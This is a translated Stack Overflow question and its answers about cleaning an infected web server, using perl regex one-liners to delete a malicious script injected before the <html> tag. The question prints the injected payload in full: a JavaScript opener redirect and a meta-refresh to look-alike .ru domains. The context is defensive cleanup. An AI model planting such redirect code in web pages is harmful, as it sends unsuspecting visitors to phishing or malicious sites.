1

我管理的网络服务器上的一个文件夹最近被感染了,并且在<html>一大堆文件的开始标记之前放置了一个恶意脚本。我正在尝试执行一个 perl 字符串替换脚本来清除它。

恶意文件如下所示:

<script language="JavaScript">
parent.window.opener.location="http://vkk.coom.ny8pbpk.ru?nhzwhhh=ZE9taWlsX2nkPRE0LmZub3ffaUQ9PTM3MCbjb0RlNWFlZnrvaEx2b2JydWLuYUJxfwC%3D%3D";
</script>
<meta http-equiv="refresh" content="0;URL=http://yandex.ru.ny8pbpk.ru?pk=i%2FGWhteXsNcf0qzPwdiVgMkkhvrG1YbO25gYgPqe2saQmdIDmeiUlsiXmNEQmPCfhMSD5" />
<html>
<head>
......and the file goes on

我对正则表达式有些混乱,我试图从其他 StackOverflow 帖子中尽可能多地收集有关如何使用 perl 的字符串替换的信息。我遇到的最大问题是让它在多行上工作。

这是我到目前为止所拥有的:

perl -0777 -i -pe 's/\s*<html>/<html>/s' index.html    

这似乎没有任何效果。如果我将第二个更改<html><foobar>它正确地替换为 foobar,但它会忽略它前面的所有内容。

据我所知,该-0777标志应该作为一行“啜饮”,并且\s*应该与之前的整个字符串匹配<html>,但同样,我的正则表达式缺乏。任何帮助是极大的赞赏!

4

3 回答 3

2

试试这个:

perl -0777 -i -pe 's/^.*(?=<html>)//s' index.html

或者这种更安全有效的模式:

perl -0777 -i -pe 's/^(?>[^<]++|<(?!html>))*(?=<html>)//' index.html
于 2013-07-13T01:56:02.073 回答
1

\s* 太具体了。您不仅想匹配 . 尝试 .* 匹配之前的所有内容

于 2013-07-13T01:37:12.893 回答
0

\s*应该是[\s\S]*这样它匹配所有字符。

我发现这是一个很好的参考:http ://www.cs.tut.fi/~jkorpela/perl/regexp.html

所以最终的工作命令是:

perl -0777 -i -pe 's/[\s\S]*<html>/<html>/s' index.html

于 2013-07-13T01:43:55.253 回答